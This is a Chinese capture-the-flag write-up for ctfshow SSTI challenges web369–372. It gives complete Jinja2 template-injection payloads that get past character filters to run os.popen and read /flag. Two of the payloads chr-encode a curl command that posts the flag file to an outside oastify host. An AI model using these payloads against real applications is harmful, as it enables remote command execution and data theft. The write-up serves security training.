ctfshow-web入门-SSTI(web369-web372)下

目录

1、web369

2、web370

3、web371

4、web372


1、web369

完全过滤了 request

双大括号也过滤了

包括前面的单双引号、中括号、下划线都是过滤了的

能构造出一些东西

调用属性:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print(lipsum|attr(gl))%}

调用键:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((lipsum|attr(gl)).get(o))%}

调用方法:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print(((lipsum|attr(gl)).get(o)).popen)%}

构造 payload 命令执行:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set l=(((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(l).read())%}

ls 执行成功

但是 flag 在根目录,斜杠 / 这个符号在我们的 lipsum 里面没有

因此我们得换一种构造方法,这里使用 join 过滤器:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(dict(l=a,s=b)|join).read())%}

这里单个命令都好执行

但是问题又来了,空格怎么搞

试了一些绕过方法,都不行

并不是绕过方法不行,是一些字符在这里无法使用,本地测试:

可以发现 / $ < 这些符号会导致环境崩溃

那么我们还是就第一种方法一个一个构造吧

斜杠符号我们在这里找:

定位具体位置:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print((lipsum|attr(gl)|string|list).pop(431))%}

拿下

最终 payload:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set cmd=(((lipsum|string|list).pop(4))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(5))~((lipsum|string|list).pop(9))~((lipsum|attr(gl)|string|list).pop(431))~((lipsum|string|list).pop(1))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(10)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

看了其他wp发现这道题有更简单的方法,大家自行摸索,我这里还是做复杂了

2、web370

新增过滤了数字

上面的 payload 用到了 1 4 5 7 9 10 15 18 19 27 31 40 431

基于上面的 payload,替换数字后可以得到如下 payload:

?name=
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set onefiv=(three*five)%}
{%set oneeig=(three*six)%}
{%set onenin=(three*six%2Bone)%}
{%set twoeve=(three*nine)%}
{%set threeone=(twoeve%2Bfour)%}
{%set fourty=(four*ten)%}
{%set fouroo=(fourty*ten%2Bthreeone)%}
{%set gl=(((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(ten))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(fourty))~((lipsum|string|list).pop(threeone))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(twoeve))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig)))%}
{%set o=(((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(twoeve)))%}
{%set cmd=(((lipsum|string|list).pop(four))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(five))~((lipsum|string|list).pop(nine))~((lipsum|attr(gl)|string|list).pop(fouroo))~((lipsum|string|list).pop(one))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(ten)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

但是由于每次重启环境后 (lipsum|string) 的地址会变,字符也就有些不一样了

因此我们前面构造的字符就会有区别,需要重新定位字符的位置

它这里还过滤了一些其他字符串

重新找一遍太折腾了,我们这里换 payload,不再构造数字了,直接用全角数字替换半角数字

前面说过拼接出来的字符斜杠这些会导致环境崩溃,而 flag 是在根目录下面肯定需要用到斜杠

这里我们使用 chr 函数,payload:

{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%}
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%}

当然,我们也可以按照上一题 {%print((lipsum|attr(gl)|string|list).pop(431))%} 的方法定位斜杠的位置,继续做拼接,按理来说是可行的,各位自行尝试,我只是觉得那样做复杂了。

3、web371

新增过滤 print

没有回显的话我们考虑外带攻击或者反弹 shell

这里以外带为例,payload:

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(56)%2bchr(117)%2bchr(51)%2bchr(104)%2bchr(100)%2bchr(51)%2bchr(97)%2bchr(53)%2bchr(105)%2bchr(48)%2bchr(121)%2bchr(105)%2bchr(52)%2bchr(117)%2bchr(49)%2bchr(105)%2bchr(109)%2bchr(98)%2bchr(48)%2bchr(120)%2bchr(110)%2bchr(104)%2bchr(49)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(97)%2bchr(116)%2bchr(121)%2bchr(111)%2bchr(109)%2bchr(100)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

4、web372

新增过滤 count

如果我们采用构造数字的方法,可以用 length 替代

有点麻烦,我们还是直接采用全角数字

上一题演示的是外带,这里我们尝试反弹 shell

可以接收到请求但是无法常规的反弹 shell , nc 反弹也没有成功

那就还是继续外带吧,payload:

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(118)%2bchr(114)%2bchr(113)%2bchr(52)%2bchr(97)%2bchr(113)%2bchr(55)%2bchr(115)%2bchr(102)%2bchr(110)%2bchr(118)%2bchr(53)%2bchr(49)%2bchr(104)%2bchr(121)%2bchr(53)%2bchr(106)%2bchr(121)%2bchr(120)%2bchr(107)%2bchr(107)%2bchr(52)%2bchr(121)%2bchr(121)%2bchr(49)%2bchr(112)%2bchr(55)%2bchr(103)%2bchr(118)%2bchr(57)%2bchr(106)%2bchr(121)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

SSTI 注入至此结束

My6n,20241115

相关推荐
xingbuxing_py1 分钟前
精华帖分享|浅谈金融时间序列分析与股价随机游走
python·金融·编程·量化交易·理财·量化投资·股市
梓羽玩Python22 分钟前
AI全自动开发神器 Windsurf!Cursor 的强力替代方案!GPT-4o和Claude模型免费用!
人工智能·python·程序员
咔咔库奇24 分钟前
【CSS问题】margin塌陷
前端·javascript·css
沐泽Mu29 分钟前
嵌入式学习-C嘎嘎-Day03
c语言·开发语言·c++·学习
无敌最俊朗@1 小时前
c#————委托Action使用例子
java·前端·c#
见过夏天1 小时前
CSS 中渐变色的使用
前端·css
企业通用软件开发1 小时前
大语言模型提示词工程学习--写小说系列(文心一言&豆包&通义千问):三种大模型的比较
人工智能·学习·语言模型
禾风wyh1 小时前
【Pytorch】Python random 模块
开发语言·python
764331 小时前
JavaScript ES6 继承 class
前端·javascript
single5941 小时前
【c++笔试强训】(第五篇)
java·开发语言·c++·vscode·学习·算法·牛客